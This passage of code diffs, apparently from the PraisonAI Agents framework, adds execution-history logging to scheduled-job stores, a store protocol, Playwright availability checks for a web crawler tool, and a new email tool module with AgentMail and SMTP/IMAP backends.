import yaml
with open(self._history_path, "r") as f:
data = yaml.safe_load(f) or []
if isinstance(data, list):
for d in data:
if isinstance(d, dict):
record = RunRecord.from_dict(d)
self._history.append(record)
except Exception as e:
logger.warning("Failed to load history from %s: %s", self._history_path, e)
def _save_history(self) -> None:
"""Save execution history to run_history.yaml."""
try:
import yaml
os.makedirs(os.path.dirname(self._history_path), exist_ok=True)
data = [r.to_dict() for r in self._history]
tmp = self._history_path + ".tmp"
with open(tmp, "w") as f:
yaml.dump(data, f, default_flow_style=False, sort_keys=False)
os.replace(tmp, self._history_path)
except Exception as e:
logger.warning("Failed to save history to %s: %s", self._history_path, e)
# ── migration ────────────────────────────────────────────────────
def migrate_from_json(self, json_path: Optional[str] = None) -> int:
"""Import jobs from a legacy ``jobs.json`` file.
Args:
json_path: Path to ``jobs.json``. Defaults to
``~/.praisonai/schedules/jobs.json``.
Returns:
Number of jobs migrated.
"""
import json
if json_path is None:
from ..paths import get_schedules_dir
json_path = str(get_schedules_dir() / "jobs.json")
if not os.path.exists(json_path):
return 0
try:
with open(json_path, "r") as f:
items = json.load(f)
if not isinstance(items, list):
return 0
count = 0
with self._lock:
for d in items:
job = ScheduleJob.from_dict(d)
if job.id not in self._jobs:
self._jobs[job.id] = job
count += 1
if count:
self._save()
logger.info(
"Migrated %d schedule(s) from %s into config.yaml",
count, json_path,
)
return count
except Exception as e:
logger.warning("Failed to migrate from %s: %s", json_path, e)
return 0
@@ -10,7 +10,7 @@ import time
from typing import Callable, Optional
from .runner import ScheduleRunner
from .store import FileScheduleStore
from .protocols import ScheduleStoreProtocol
logger = logging.getLogger(__name__)
@@ -37,7 +37,7 @@ class ScheduleLoop:
def __init__(
self,
on_trigger: Callable,
store: Optional[FileScheduleStore] = None,
store: Optional[ScheduleStoreProtocol] = None,
tick_seconds: float = 30.0,
):
"""
@@ -47,8 +47,11 @@ class ScheduleLoop:
``FileScheduleStore()``.
tick_seconds: Seconds between polls (default 30).
"""
if store is None:
from .config_store import ConfigYamlScheduleStore
store = ConfigYamlScheduleStore()
self._on_trigger = on_trigger
self._store = store or FileScheduleStore()
self._store = store
self._runner = ScheduleRunner(self._store)
self._tick = tick_seconds
self._stop_event = threading.Event()
@@ -90,6 +90,56 @@ class DeliveryTarget:
)
@dataclass
class RunRecord:
"""A single execution record for a scheduled job.
Attributes:
job_id: ID of the job that was executed.
job_name: Human-readable name of the job.
status: Execution status (``"succeeded"``, ``"failed"``, ``"skipped"``).
result: Agent response text (truncated if very long).
error: Error message if status is ``"failed"``.
duration: Wall-clock seconds for execution.
delivered: Whether result was delivered to a channel bot.
timestamp: Epoch timestamp of execution.
"""
job_id: str
job_name: str = ""
status: Literal["succeeded", "failed", "skipped"] = "succeeded"
result: Optional[str] = None
error: Optional[str] = None
duration: float = 0.0
delivered: bool = False
timestamp: float = field(default_factory=time.time)
def to_dict(self) -> Dict[str, Any]:
return {
"job_id": self.job_id,
"job_name": self.job_name,
"status": self.status,
"result": self.result,
"error": self.error,
"duration": self.duration,
"delivered": self.delivered,
"timestamp": self.timestamp,
}
@classmethod
def from_dict(cls, d: Dict[str, Any]) -> "RunRecord":
return cls(
job_id=d.get("job_id", ""),
job_name=d.get("job_name", ""),
status=d.get("status", "succeeded"),
result=d.get("result"),
error=d.get("error"),
duration=d.get("duration", 0.0),
delivered=d.get("delivered", False),
timestamp=d.get("timestamp", time.time()),
)
@dataclass
class ScheduleJob:
"""A persisted scheduled job.
@@ -0,0 +1,103 @@
"""
Schedule Store Protocol for PraisonAI Agents.
Defines the interface for schedule persistence backends.
Any object implementing these methods can be used as a schedule store.
"""
from __future__ import annotations
from typing import Any, List, Optional, Protocol, runtime_checkable
@runtime_checkable
class ScheduleStoreProtocol(Protocol):
"""Protocol for schedule persistence backends.
Implementations:
- ``ConfigYamlScheduleStore`` — YAML config (``~/.praisonai/config.yaml``) [default]
- ``FileScheduleStore`` — JSON file (``~/.praisonai/schedules/jobs.json``) [legacy]
- ``_InMemoryScheduleStore`` (in PraisonAIUI) — YAML config.yaml
Any store that implements these methods can be passed to
``ScheduleRunner`` and ``ScheduleLoop``.
"""
def add(self, job: Any) -> None:
"""Add a job. Raises ``ValueError`` if id already exists."""
...
def get(self, job_id: str) -> Optional[Any]:
"""Get a job by its unique ID."""
...
def list(self, agent_id: Optional[str] = None) -> List[Any]:
"""List all jobs, optionally filtered by agent_id."""
...
def update(self, job: Any) -> None:
"""Update an existing job."""
...
def remove(self, job_id: str) -> bool:
"""Remove a job by ID. Returns True if found and removed."""
...
def get_by_name(self, name: str) -> Optional[Any]:
"""Get a job by its human-readable name."""
...
def remove_by_name(self, name: str) -> bool:
"""Remove a job by name. Returns True if found and removed."""
...
# ── Execution History (optional) ─────────────────────────────────
def log_run(
self,
job_id: str,
status: str,
result: Optional[str] = None,
error: Optional[str] = None,
duration: float = 0.0,
delivered: bool = False,
job_name: str = "",
) -> None:
"""Log an execution run for a job.
Args:
job_id: ID of the executed job.
status: Execution status (``"succeeded"``, ``"failed"``, ``"skipped"``).
result: Agent response text (may be truncated).
error: Error message if status is ``"failed"``.
duration: Wall-clock seconds for execution.
delivered: Whether result was delivered to a channel bot.
job_name: Human-readable job name for display.
Note:
This method is optional. Stores that don't support history
may implement it as a no-op. Callers should use ``hasattr()``
to check for support before calling.
"""
...
def get_history(
self,
job_id: Optional[str] = None,
limit: int = 200,
) -> List[Any]:
"""Get execution history records.
Args:
job_id: Optional filter by job ID.
limit: Maximum number of records to return (default 200).
Returns:
List of ``RunRecord`` instances, newest first.
Note:
This method is optional. Stores that don't support history
may return an empty list. Callers should use ``hasattr()``
to check for support before calling.
"""
...
@@ -8,10 +8,10 @@ payload is the caller's responsibility (keeping the runner lightweight).
import logging
import time
from datetime import datetime, timezone
from typing import List
from typing import List, Optional
from .models import ScheduleJob
from .store import FileScheduleStore
from .protocols import ScheduleStoreProtocol
logger = logging.getLogger(__name__)
@@ -23,7 +23,7 @@ class ScheduleRunner:
and when to call ``get_due_jobs()``.
"""
def __init__(self, store: FileScheduleStore):
def __init__(self, store: ScheduleStoreProtocol):
self._store = store
# ── public ───────────────────────────────────────────────────────
@@ -39,9 +39,39 @@ class ScheduleRunner:
due.append(job)
return due
def mark_run(self, job: ScheduleJob) -> None:
"""Update ``last_run_at`` and optionally delete one-shot jobs."""
def mark_run(
self,
job: ScheduleJob,
status: str = "succeeded",
result: Optional[str] = None,
error: Optional[str] = None,
duration: float = 0.0,
delivered: bool = False,
) -> None:
"""Update ``last_run_at``, log history, and optionally delete one-shot jobs.
Args:
job: The job that was executed.
status: Execution status (``"succeeded"``, ``"failed"``, ``"skipped"``).
result: Agent response text.
error: Error message if status is ``"failed"``.
duration: Wall-clock seconds for execution.
delivered: Whether result was delivered to a channel bot.
"""
job.last_run_at = time.time()
# Log execution history if the store supports it
if hasattr(self._store, "log_run"):
self._store.log_run(
job_id=job.id,
status=status,
result=result,
error=error,
duration=duration,
delivered=delivered,
job_name=job.name,
)
if job.delete_after_run:
self._store.remove(job.id)
else:
@@ -9,15 +9,18 @@ import json
import logging
import os
import threading
import time
from typing import Dict, List, Optional
from .models import ScheduleJob
from .models import ScheduleJob, RunRecord
logger = logging.getLogger(__name__)
from ..paths import get_schedules_dir as _get_schedules_dir
_DEFAULT_DIR = str(_get_schedules_dir())
_JOBS_FILE = "jobs.json"
_HISTORY_FILE = "history.json"
_MAX_HISTORY = 200
class FileScheduleStore:
@@ -26,12 +29,16 @@ class FileScheduleStore:
Thread-safe for multi-agent scenarios.
"""
def __init__(self, store_dir: Optional[str] = None):
def __init__(self, store_dir: Optional[str] = None, max_history: int = _MAX_HISTORY):
self._dir = store_dir or _DEFAULT_DIR
self._path = os.path.join(self._dir, _JOBS_FILE)
self._history_path = os.path.join(self._dir, _HISTORY_FILE)
self._max_history = max_history
self._lock = threading.RLock()
self._jobs: Dict[str, ScheduleJob] = {}
self._history: List[RunRecord] = []
self._load()
self._load_history()
# ── public API ───────────────────────────────────────────────────
@@ -83,6 +90,48 @@ class FileScheduleStore:
return True
return False
# ── execution history ─────────────────────────────────────────────
def log_run(
self,
job_id: str,
status: str,
result: Optional[str] = None,
error: Optional[str] = None,
duration: float = 0.0,
delivered: bool = False,
job_name: str = "",
) -> None:
"""Log an execution run for a job."""
record = RunRecord(
job_id=job_id,
job_name=job_name,
status=status,
result=result[:2000] if result and len(result) > 2000 else result,
error=error,
duration=duration,
delivered=delivered,
timestamp=time.time(),
)
with self._lock:
self._history.insert(0, record)
# Prune to max_history
if len(self._history) > self._max_history:
self._history = self._history[:self._max_history]
self._save_history()
def get_history(
self,
job_id: Optional[str] = None,
limit: int = 200,
) -> List[RunRecord]:
"""Get execution history records, newest first."""
with self._lock:
records = list(self._history)
if job_id is not None:
records = [r for r in records if r.job_id == job_id]
return records[:limit]
# ── persistence ──────────────────────────────────────────────────
def _load(self) -> None:
@@ -107,3 +156,28 @@ class FileScheduleStore:
os.replace(tmp, self._path)
except Exception as e:
logger.warning("Failed to save schedule store to %s: %s", self._path, e)
def _load_history(self) -> None:
"""Load execution history from history.json."""
if not os.path.exists(self._history_path):
return
try:
with open(self._history_path, "r") as f:
data = json.load(f)
for d in data:
record = RunRecord.from_dict(d)
self._history.append(record)
except Exception as e:
logger.warning("Failed to load history from %s: %s", self._history_path, e)
def _save_history(self) -> None:
"""Save execution history to history.json."""
try:
os.makedirs(self._dir, exist_ok=True)
data = [r.to_dict() for r in self._history]
tmp = self._history_path + ".tmp"
with open(tmp, "w") as f:
json.dump(data, f, indent=2)
os.replace(tmp, self._history_path)
except Exception as e:
logger.warning("Failed to save history to %s: %s", self._history_path, e)
@@ -138,9 +138,9 @@ TOOL_MAPPINGS = {
'get_available_providers': ('.web_search', None),
# Unified Web Crawl (auto-fallback across providers)
'web_crawl': ('.web_crawl', None),
'crawl_web': ('.web_crawl', None), # Alias
'get_available_crawl_providers': ('.web_crawl', None),
'web_crawl': ('.web_crawl_tools', None),
'crawl_web': ('.web_crawl_tools', None), # Alias
'get_available_crawl_providers': ('.web_crawl_tools', None),
# Skill Tools (for Agent Skills script execution)
'run_skill_script': ('.skill_tools', None),
@@ -171,6 +171,18 @@ TOOL_MAPPINGS = {
# Learning Tools (active categorized knowledge store/search)
'store_learning': ('.learning', None),
'search_learning': ('.learning', None),
# Email Tools (AgentMail-based send/read/list/reply/create)
'send_email': ('.email_tools', None),
'list_emails': ('.email_tools', None),
'read_email': ('.email_tools', None),
'reply_email': ('.email_tools', None),
'list_inboxes': ('.email_tools', None),
'create_inbox': ('.email_tools', None),
# Email Tools (SMTP/IMAP-based — direct mailbox credentials)
'smtp_send_email': ('.email_tools', None),
'smtp_read_inbox': ('.email_tools', None),
'email_tools': ('.email_tools', None),
}
_instances = {} # Cache for class instances
@@ -231,10 +243,12 @@ def __getattr__(name: str) -> Any:
'schedule_add', 'schedule_list', 'schedule_remove',
'ast_grep_search', 'ast_grep_rewrite', 'ast_grep_scan', 'is_ast_grep_available', 'get_ast_grep_tools',
'store_memory', 'search_memory',
'store_learning', 'search_learning'
'store_learning', 'search_learning',
'send_email', 'list_emails', 'read_email', 'reply_email', 'list_inboxes', 'create_inbox',
'smtp_send_email', 'smtp_read_inbox'
]:
return getattr(module, name)
if name in ['file_tools', 'spider_tools', 'python_tools', 'shell_tools', 'cot_tools', 'tavily_tools', 'youdotcom_tools', 'exa_tools', 'crawl4ai_tools', 'skill_tools', 'schedule_tools', 'ast_grep_tools']:
if name in ['file_tools', 'spider_tools', 'python_tools', 'shell_tools', 'cot_tools', 'tavily_tools', 'youdotcom_tools', 'exa_tools', 'crawl4ai_tools', 'skill_tools', 'schedule_tools', 'ast_grep_tools', 'email_tools']:
return module # Returns the callable module
return getattr(module, name)
else:
@@ -29,17 +29,42 @@ from importlib import util
def _check_crawl4ai_available() -> tuple[bool, Optional[str]]:
"""Check if Crawl4AI is available.
"""Check if Crawl4AI and its Playwright browser binaries are available.
Returns:
Tuple of (is_available, error_message)
"""
if util.find_spec("crawl4ai") is None:
return False, "crawl4ai package is not installed. Install it with: pip install crawl4ai && crawl4ai-setup"
return False, (
"crawl4ai package is not installed. "
"Install it with: pip install 'praisonaiagents[crawl]'"
)
# Check that Playwright browser binaries have been downloaded.
# `playwright install` is a post-install OS step that pip never runs.
# We check the standard ms-playwright cache directory directly — no
# API calls, no process launches, no private internals.
try:
import os, pathlib
ms_pw = pathlib.Path(os.environ.get(
"PLAYWRIGHT_BROWSERS_PATH",
pathlib.Path.home() / ".cache" / "ms-playwright"
))
if ms_pw.exists() and not list(ms_pw.glob("chromium-*")):
return False, (
"Playwright browsers are not installed.\n"
"Run this command once to download them:\n"
" playwright install chromium\n"
"Or for Docker/CI: playwright install chromium --with-deps"
)
# If ms_pw doesn't exist yet, skip — _get_crawler will catch it.
except Exception:
pass
return True, None
class Crawl4AITools:
"""Crawl4AI web crawling and extraction tools.
@@ -81,9 +106,9 @@ class Crawl4AITools:
is_available, error = _check_crawl4ai_available()
if not is_available:
raise ImportError(error)
from crawl4ai import AsyncWebCrawler, BrowserConfig
if self._crawler is None:
browser_config = BrowserConfig(
headless=self.headless,
@@ -91,9 +116,22 @@ class Crawl4AITools:
browser_type=self.browser_type
)
self._crawler = AsyncWebCrawler(config=browser_config)
await self._crawler.start()
try:
await self._crawler.start()
except Exception as e:
self._crawler = None
err_str = str(e)
if "Executable doesn't exist" in err_str or "playwright install" in err_str:
raise RuntimeError(
"Playwright browser not found. Run:\n"
" playwright install chromium\n"
"Then retry. For Docker/CI use:\n"
" playwright install chromium --with-deps"
) from None
raise
return self._crawler
async def close(self):
"""Close the crawler and release resources."""
@@ -571,7 +609,7 @@ def crawl4ai_sync(
Returns:
Dict with crawl results
"""
return asyncio.get_event_loop().run_until_complete(
return asyncio.run(
crawl4ai(url, css_selector, js_code, wait_for)
)
@@ -591,7 +629,7 @@ def crawl4ai_extract_sync(
Returns:
Dict with extracted data
"""
return asyncio.get_event_loop().run_until_complete(
return asyncio.run(
crawl4ai_extract(url, schema, js_code)
)
@@ -0,0 +1,947 @@
"""
Email tools for PraisonAI Agents.
Generic tools (send_email, list_emails, etc.) auto-detect the backend:
- If AGENTMAIL_API_KEY is set → uses AgentMail API
- If EMAIL_ADDRESS + EMAIL_PASSWORD is set → uses IMAP/SMTP
- If both are set → prefers AgentMail
Backend-specific tools are also available:
- AgentMail: agentmail_send_email, agentmail_list_emails, etc.
- SMTP/IMAP: smtp_send_email, smtp_read_inbox, smtp_search_inbox, etc.
Example:
from praisonaiagents.tools.email_tools import send_email, list_emails, search_emails
agent = Agent(tools=[send_email, list_emails, search_emails])
# Works with either AgentMail or Gmail/Outlook — auto-detected from env vars
"""
from __future__ import annotations
import logging
import os
from typing import Optional
logger = logging.getLogger(__name__)
# Lazy-loaded AgentMail client (module-level singleton)
_client = None
def _detect_backend() -> str:
"""Detect which email backend is available.
Returns 'agentmail' or 'smtp'. Prefers AgentMail if both configured.
"""
if os.environ.get("AGENTMAIL_API_KEY"):
return "agentmail"
if os.environ.get("EMAIL_ADDRESS") and os.environ.get("EMAIL_PASSWORD"):
return "smtp"
raise ValueError(
"No email backend configured. Set either:\n"
" - AGENTMAIL_API_KEY (+ AGENTMAIL_INBOX_ID) for AgentMail, or\n"
" - EMAIL_ADDRESS + EMAIL_PASSWORD for IMAP/SMTP (Gmail, Outlook, etc.)"
)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# AgentMail Backend
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def _get_client():
"""Lazy-load the AgentMail client from env vars."""
global _client
if _client is None:
api_key = os.environ.get("AGENTMAIL_API_KEY", "")
if not api_key:
raise ValueError(
"AGENTMAIL_API_KEY environment variable is required. "
"Get your key at https://agentmail.to"
)
try:
from agentmail import AgentMail
_client = AgentMail(api_key=api_key)
except ImportError:
raise ImportError(
"agentmail package not installed. "
"Install with: pip install agentmail"
)
return _client
def _get_inbox_id() -> str:
"""Get the default inbox ID from env."""
inbox_id = os.environ.get("AGENTMAIL_INBOX_ID", "")
if not inbox_id:
raise ValueError(
"AGENTMAIL_INBOX_ID environment variable is required. "
"Set it to your inbox email, e.g. [email protected]"
)
return inbox_id
def _normalize_message_id(message_id: str) -> str:
"""LLMs often strip angle brackets from message IDs — restore them."""
if message_id and "@" in message_id and not message_id.startswith("<"):
return f"<{message_id}>"
return message_id
def _agentmail_send_email(to: str, subject: str, body: str) -> str:
client = _get_client()
inbox_id = _get_inbox_id()
try:
result = client.inboxes.messages.send(inbox_id, to=to, subject=subject, text=body)
msg_id = getattr(result, "message_id", "unknown")
thread_id = getattr(result, "thread_id", "")
logger.info(f"Email sent to {to}: {msg_id}")
return f"Email sent successfully to {to}. Message ID: {msg_id}, Thread ID: {thread_id}"
except Exception as e:
logger.error(f"Failed to send email to {to}: {e}")
return f"Failed to send email: {e}"
def _agentmail_list_emails(limit: int = 10) -> str:
client = _get_client()
inbox_id = _get_inbox_id()
try:
response = client.inboxes.messages.list(inbox_id, limit=limit)
msg_list = response.messages if hasattr(response, "messages") else response
if not msg_list:
return "No emails found in inbox."
results = []
for msg in msg_list:
sender = getattr(msg, "from_", "") or "unknown"
subject = getattr(msg, "subject", "(no subject)") or "(no subject)"
preview = getattr(msg, "preview", "") or ""
msg_id = getattr(msg, "message_id", "")
timestamp = getattr(msg, "timestamp", "") or getattr(msg, "created_at", "")
results.append(
f"- From: {sender}\n"
f" Subject: {subject}\n"
f" Preview: {preview[:100]}{'...' if len(preview) > 100 else ''}\n"
f" ID: {msg_id}\n"
f" Date: {timestamp}"
)
count_info = getattr(response, "count", len(msg_list))
return f"Found {count_info} email(s) (showing up to {limit}):\n\n" + "\n\n".join(results)
except Exception as e:
logger.error(f"Failed to list emails: {e}")
return f"Failed to list emails: {e}"
def _agentmail_read_email(message_id: str) -> str:
client = _get_client()
inbox_id = _get_inbox_id()
message_id = _normalize_message_id(message_id)
try:
msg = client.inboxes.messages.get(inbox_id, message_id)
sender = getattr(msg, "from_", "") or "unknown"
to = getattr(msg, "to", []) or []
subject = getattr(msg, "subject", "(no subject)") or "(no subject)"
body = getattr(msg, "extracted_text", "") or getattr(msg, "text", "") or ""
timestamp = getattr(msg, "timestamp", "") or getattr(msg, "created_at", "")
in_reply_to = getattr(msg, "in_reply_to", "")
to_str = ", ".join(to) if isinstance(to, list) else str(to)
result = f"From: {sender}\nTo: {to_str}\nSubject: {subject}\nDate: {timestamp}\n"
if in_reply_to:
result += f"In-Reply-To: {in_reply_to}\n"
result += f"\n{body}"
return result
except Exception as e:
logger.error(f"Failed to read email {message_id}: {e}")
return f"Failed to read email: {e}"
def _agentmail_reply_email(message_id: str, body: str) -> str:
client = _get_client()
inbox_id = _get_inbox_id()
message_id = _normalize_message_id(message_id)
try:
result = client.inboxes.messages.reply(inbox_id, message_id, text=body)
reply_id = getattr(result, "message_id", "unknown")
logger.info(f"Reply sent: {reply_id}")
return f"Reply sent successfully (ID: {reply_id})"
except Exception as e:
logger.error(f"Failed to reply to {message_id}: {e}")
return f"Failed to reply: {e}"
def _agentmail_search_emails(
label: Optional[str] = None,
after_date: Optional[str] = None,
before_date: Optional[str] = None,
limit: int = 20,
) -> str:
from datetime import datetime as _dt
client = _get_client()
inbox_id = _get_inbox_id()
try:
kwargs = {"limit": min(limit, 50)}
if label:
kwargs["labels"] = [label]
if after_date:
kwargs["after"] = _dt.fromisoformat(after_date)
if before_date:
kwargs["before"] = _dt.fromisoformat(before_date)
response = client.inboxes.messages.list(inbox_id, **kwargs)
msg_list = response.messages if hasattr(response, "messages") else response
if not msg_list:
return "No emails matched the search criteria."
results = []
for msg in msg_list:
sender = getattr(msg, "from_", "") or "unknown"
subject = getattr(msg, "subject", "(no subject)") or "(no subject)"
preview = getattr(msg, "preview", "") or ""
msg_id = getattr(msg, "message_id", "")
timestamp = getattr(msg, "timestamp", "") or getattr(msg, "created_at", "")
labels = getattr(msg, "labels", []) or []
results.append(
f"- From: {sender}\n"
f" Subject: {subject}\n"
f" Preview: {preview[:100]}{'...' if len(preview) > 100 else ''}\n"
f" Labels: {', '.join(labels) if labels else 'none'}\n"
f" ID: {msg_id}\n"
f" Date: {timestamp}"
)
return f"Found {len(results)} email(s):\n\n" + "\n\n".join(results)
except Exception as e:
logger.error(f"Failed to search emails: {e}")
return f"Failed to search emails: {e}"
def _agentmail_archive_email(message_id: str) -> str:
client = _get_client()
inbox_id = _get_inbox_id()
message_id = _normalize_message_id(message_id)
try:
client.inboxes.messages.update(
inbox_id, message_id,
add_labels=["ARCHIVED"], remove_labels=["INBOX"],
)
logger.info(f"Email archived: {message_id}")
return f"Email archived successfully (ID: {message_id})"
except Exception as e:
logger.error(f"Failed to archive email {message_id}: {e}")
return f"Failed to archive email: {e}"
def _agentmail_forward_email(message_id: str, to: str, note: Optional[str] = None) -> str:
client = _get_client()
inbox_id = _get_inbox_id()
message_id = _normalize_message_id(message_id)
try:
kwargs = {"to": to}
if note:
kwargs["text"] = note
result = client.inboxes.messages.forward(inbox_id, message_id, **kwargs)
fwd_id = getattr(result, "message_id", "unknown")
logger.info(f"Email forwarded to {to}: {fwd_id}")
return f"Email forwarded to {to} (ID: {fwd_id})"
except Exception as e:
logger.error(f"Failed to forward email {message_id}: {e}")
return f"Failed to forward email: {e}"
def _agentmail_draft_email(to: str, subject: str, body: str) -> str:
client = _get_client()
inbox_id = _get_inbox_id()
try:
result = client.inboxes.drafts.create(inbox_id, to=[to], subject=subject, text=body)
draft_id = getattr(result, "draft_id", "unknown")
logger.info(f"Draft created: {draft_id}")
return f"Draft created (ID: {draft_id}). Use send_draft to send it."
except Exception as e:
logger.error(f"Failed to create draft: {e}")
return f"Failed to create draft: {e}"
def _agentmail_send_draft(draft_id: str) -> str:
client = _get_client()
inbox_id = _get_inbox_id()
try:
result = client.inboxes.drafts.send(inbox_id, draft_id)
msg_id = getattr(result, "message_id", "unknown")
logger.info(f"Draft sent: {msg_id}")
return f"Draft sent successfully (Message ID: {msg_id})"
except Exception as e:
logger.error(f"Failed to send draft {draft_id}: {e}")
return f"Failed to send draft: {e}"
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# SMTP/IMAP Backend — uses standard mailbox credentials
# Zero external dependencies (Python stdlib smtplib + imaplib)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
_SMTP_DEFAULTS = {
"gmail.com": ("smtp.gmail.com", 587),
"googlemail.com": ("smtp.gmail.com", 587),
"outlook.com": ("smtp.office365.com", 587),
"hotmail.com": ("smtp.office365.com", 587),
"live.com": ("smtp.office365.com", 587),
"yahoo.com": ("smtp.mail.yahoo.com", 587),
"icloud.com": ("smtp.mail.me.com", 587),
}
_IMAP_DEFAULTS = {
"gmail.com": ("imap.gmail.com", 993),
"googlemail.com": ("imap.gmail.com", 993),
"outlook.com": ("outlook.office365.com", 993),
"hotmail.com": ("outlook.office365.com", 993),
"live.com": ("outlook.office365.com", 993),
"yahoo.com": ("imap.mail.yahoo.com", 993),
"icloud.com": ("imap.mail.me.com", 993),
}
def _get_smtp_config():
"""Get SMTP config from env vars with smart defaults."""
email_addr = os.environ.get("EMAIL_ADDRESS", "")
password = os.environ.get("EMAIL_PASSWORD", "")
if not email_addr or not password:
raise ValueError(
"EMAIL_ADDRESS and EMAIL_PASSWORD environment variables are required. "
"For Gmail, use an App Password: https://myaccount.google.com/apppasswords"
)
domain = email_addr.split("@")[-1].lower()
default_smtp = _SMTP_DEFAULTS.get(domain, (f"smtp.{domain}", 587))
smtp_server = os.environ.get("EMAIL_SMTP_SERVER", default_smtp[0])
smtp_port = int(os.environ.get("EMAIL_SMTP_PORT", str(default_smtp[1])))
return email_addr, password, smtp_server, smtp_port
def _get_imap_config():
"""Get IMAP config from env vars with smart defaults."""
email_addr = os.environ.get("EMAIL_ADDRESS", "")
password = os.environ.get("EMAIL_PASSWORD", "")
if not email_addr or not password:
raise ValueError(
"EMAIL_ADDRESS and EMAIL_PASSWORD environment variables are required."
)
domain = email_addr.split("@")[-1].lower()
default_imap = _IMAP_DEFAULTS.get(domain, (f"imap.{domain}", 993))
imap_server = os.environ.get("EMAIL_IMAP_SERVER", default_imap[0])
imap_port = int(os.environ.get("EMAIL_IMAP_PORT", str(default_imap[1])))
return email_addr, password, imap_server, imap_port
def _imap_connect(readonly: bool = True):
"""Connect to IMAP and select INBOX. Returns (mail, email_addr)."""
import imaplib
email_addr, password, imap_server, imap_port = _get_imap_config()
mail = imaplib.IMAP4_SSL(imap_server, imap_port)
mail.login(email_addr, password)
mail.select("INBOX", readonly=readonly)
return mail, email_addr
def _decode_header_value(raw_value: str) -> str:
"""Decode a MIME-encoded header value."""
from email.header import decode_header
parts = decode_header(raw_value)
result = ""
for part, charset in parts:
if isinstance(part, bytes):
result += part.decode(charset or "utf-8", errors="replace")
else:
result += part
return result
def _extract_body_preview(msg, max_len: int = 100) -> str:
"""Extract plain text body preview from an email message."""
if msg.is_multipart():
for part in msg.walk():
if part.get_content_type() == "text/plain":
payload = part.get_payload(decode=True)
if payload:
return payload.decode(
part.get_content_charset() or "utf-8", errors="replace"
)[:max_len]
else:
payload = msg.get_payload(decode=True)
if payload:
return payload.decode(
msg.get_content_charset() or "utf-8", errors="replace"
)[:max_len]
return ""
def _smtp_send_email(to: str, subject: str, body: str) -> str:
import smtplib
from email.mime.text import MIMEText
try:
email_addr, password, smtp_server, smtp_port = _get_smtp_config()
msg = MIMEText(body, "plain")
msg["From"] = email_addr
msg["To"] = to
msg["Subject"] = subject
with smtplib.SMTP(smtp_server, smtp_port) as server:
server.starttls()
server.login(email_addr, password)
server.send_message(msg)
logger.info(f"SMTP email sent to {to}")
return f"Email sent successfully to {to} from {email_addr}"
except ValueError as e:
return str(e)
except Exception as e:
logger.error(f"Failed to send SMTP email to {to}: {e}")
return f"Failed to send email: {e}"
def _smtp_list_emails(limit: int = 10) -> str:
import email as email_lib
try:
mail, _ = _imap_connect(readonly=True)
status, data = mail.search(None, "ALL")
if status != "OK" or not data[0]:
mail.logout()
return "No emails found in inbox."
msg_ids = data[0].split()
latest_ids = msg_ids[-limit:]
latest_ids.reverse()
results = []
for uid in latest_ids:
status, msg_data = mail.fetch(uid, "(RFC822)")
if status != "OK":
continue
msg = email_lib.message_from_bytes(msg_data[0][1])
subject = _decode_header_value(msg.get("Subject", "(no subject)"))
sender = msg.get("From", "unknown")
date = msg.get("Date", "")
preview = _extract_body_preview(msg)
results.append(
f"- From: {sender}\n"
f" Subject: {subject}\n"
f" Preview: {preview}{'...' if len(preview) >= 100 else ''}\n"
f" Date: {date}"
)
mail.logout()
if not results:
return "No emails found in inbox."
return f"Found {len(results)} email(s):\n\n" + "\n\n".join(results)
except ValueError as e:
return str(e)
except Exception as e:
logger.error(f"Failed to read inbox: {e}")
return f"Failed to read inbox: {e}"
def _smtp_read_email(message_id: str) -> str:
import email as email_lib
try:
mail, _ = _imap_connect(readonly=True)
# Search by Message-ID header
search_id = message_id if message_id.startswith("<") else f"<{message_id}>"
status, data = mail.search(None, f'HEADER Message-ID "{search_id}"')
if status != "OK" or not data[0]:
mail.logout()
return f"Email not found with Message-ID: {message_id}"
uid = data[0].split()[0]
status, msg_data = mail.fetch(uid, "(RFC822)")
mail.logout()
if status != "OK":
return f"Failed to fetch email: {message_id}"
msg = email_lib.message_from_bytes(msg_data[0][1])
subject = _decode_header_value(msg.get("Subject", "(no subject)"))
sender = msg.get("From", "unknown")
to = msg.get("To", "")
date = msg.get("Date", "")
body = _extract_body_preview(msg, max_len=10000)
result = f"From: {sender}\nTo: {to}\nSubject: {subject}\nDate: {date}\n\n{body}"
return result
except ValueError as e:
return str(e)
except Exception as e:
logger.error(f"Failed to read email {message_id}: {e}")
return f"Failed to read email: {e}"
def _smtp_reply_email(message_id: str, body: str) -> str:
import smtplib
import email as email_lib
from email.mime.text import MIMEText
try:
# Read original email to get sender and subject
mail, email_addr = _imap_connect(readonly=True)
search_id = message_id if message_id.startswith("<") else f"<{message_id}>"
status, data = mail.search(None, f'HEADER Message-ID "{search_id}"')
if status != "OK" or not data[0]:
mail.logout()
return f"Original email not found: {message_id}"
uid = data[0].split()[0]
status, msg_data = mail.fetch(uid, "(RFC822)")
mail.logout()
if status != "OK":
return f"Failed to fetch original email: {message_id}"
original = email_lib.message_from_bytes(msg_data[0][1])
reply_to = original.get("Reply-To") or original.get("From", "")
subject = original.get("Subject", "")
if not subject.lower().startswith("re:"):
subject = f"Re: {subject}"
# Send reply
_, password, smtp_server, smtp_port = _get_smtp_config()
msg = MIMEText(body, "plain")
msg["From"] = email_addr
msg["To"] = reply_to
msg["Subject"] = subject
msg["In-Reply-To"] = search_id
msg["References"] = search_id
msg["Auto-Submitted"] = "auto-replied"
with smtplib.SMTP(smtp_server, smtp_port) as server:
server.starttls()
server.login(email_addr, password)
server.send_message(msg)
logger.info(f"Reply sent to {reply_to}")
return f"Reply sent to {reply_to}"
except ValueError as e:
return str(e)
except Exception as e:
logger.error(f"Failed to reply to {message_id}: {e}")
return f"Failed to reply: {e}"
def _smtp_search_emails(
query: Optional[str] = None,
from_addr: Optional[str] = None,
subject: Optional[str] = None,
limit: int = 20,
) -> str:
import email as email_lib
try:
mail, _ = _imap_connect(readonly=True)
# Build IMAP search criteria
criteria = []
if from_addr:
criteria.append(f'FROM "{from_addr}"')
if subject:
criteria.append(f'SUBJECT "{subject}"')
if query:
criteria.append(f'TEXT "{query}"')
if not criteria:
criteria.append("ALL")
search_str = " ".join(criteria)
